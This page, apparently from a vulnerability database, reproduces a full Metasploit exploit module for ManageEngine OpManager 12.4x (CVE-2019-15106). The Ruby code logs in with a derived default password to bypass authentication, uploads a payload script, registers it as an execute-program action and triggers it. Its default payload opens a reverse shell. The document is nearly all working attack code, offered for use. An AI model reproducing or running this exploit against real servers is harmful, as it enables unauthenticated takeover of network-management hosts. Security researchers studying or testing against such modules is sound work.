Lucene search
+L

ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)

🗓️ 12 Aug 2019 00:00:00Reported by AkkuSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 197 Views

ManageEngine OpManager v12.4x - Unauthenticated Remote Command Executio

Related
Code
ReporterTitlePublishedViews
Family
cnvd
CNVD
Zoho ManageEngine OpManager Permission License and Access Control Issues Vulnerability
16 Aug 201900:00
cnvd
cve
CVE
CVE-2019-15106
16 Aug 201902:44
cve
cvelist
Cvelist
CVE-2019-15106
16 Aug 201902:44
cvelist
nvd
NVD
CVE-2019-15106
16 Aug 201903:15
nvd
osv
OSV
CVE-2019-15106
16 Aug 201903:15
osv
prion
Prion
Design/Logic Flaw
16 Aug 201903:15
prion
symantec
Symantec
Zoho Applications Manager Plugin CVE-2019-15106 Remote Command Execution Vulnerability
15 Aug 201900:00
symantec
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine OpManager v12.4x - Unauthenticated Remote Command Execution",
      'Description'    => %q(
        This module bypasses the user password requirement in the OpManager v12.4.034 and prior versions.
        It performs authentication bypass and executes commands on the server.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Unauthenticated-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60,
          'RPORT' => 8060,
          'SSL' => false,
          'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '10 August 2019 //DEFCON',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username', 'admin']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(host, port, cookie)

    res = send_request_cgi(
      'rhost'   => host,
      'rport'   => port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(host, port, cookie, platform, @dir)
  end

  def file_up(host, port, cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end

    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

    res = send_request_cgi({
      'rhost'   => host,
      'rport'   => port,
      'method' => 'POST',
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")
    })

    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(host, port, cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(host, port, cookie, dir, fname)

    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'rhost'   => host,
      'rport'   => port,
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5,
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )

    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
      print_status("Transactions completed. Attempting to get a session...")
      exec(host, port, cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(host, port, cookie, action)
    send_request_cgi(
      'method'  => 'GET',
      'rhost'   => host,
      'rport'   => port,
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )

    if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
      appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
      am_host = appm_adr.split('://')[1].split(':')[0]
      am_port = appm_adr.split('://')[1].split(':')[1]

      res = send_request_cgi(
        'rhost'   => am_host,
        'rport'   => am_port,
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
      )
      # Password check vulnerability in Java Script :/
      if res.body.include?('j_password.value=username')
        return Exploit::CheckCode::Vulnerable
      else
        return Exploit::CheckCode::Safe
      end
    else
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )

    appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
    am_host = appm_adr.split('://')[1].split(':')[0]
    am_port = appm_adr.split('://')[1].split(':')[1]

    res = send_request_cgi(
      'rhost'   => am_host,
      'rport'   => am_port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    @cookie = res.get_cookies
    res = send_request_cgi(
      'method'  => 'POST',
      'rhost'   => am_host,
      'rport'   => am_port,
      'cookie'   => @cookie,
      'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
      'vars_post' => {
        'clienttype' => 'html',
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['USERNAME'] + "@opm",
        'submit' => 'Login'
      }
    )

    if res && res.code == 302 or 303
      print_good("Authentication bypass was successfully performed.")
      res = send_request_cgi(
        'rhost'   => am_host,
        'rport'   => am_port,
        'cookie'  => @cookie,
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
      )

      @cookie = res.get_cookies
      check_platform(am_host, am_port, @cookie)
    else
      fail_with(Failure::NotVulnerable, 'Failed to perform authentication bypass! Try with another username...')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation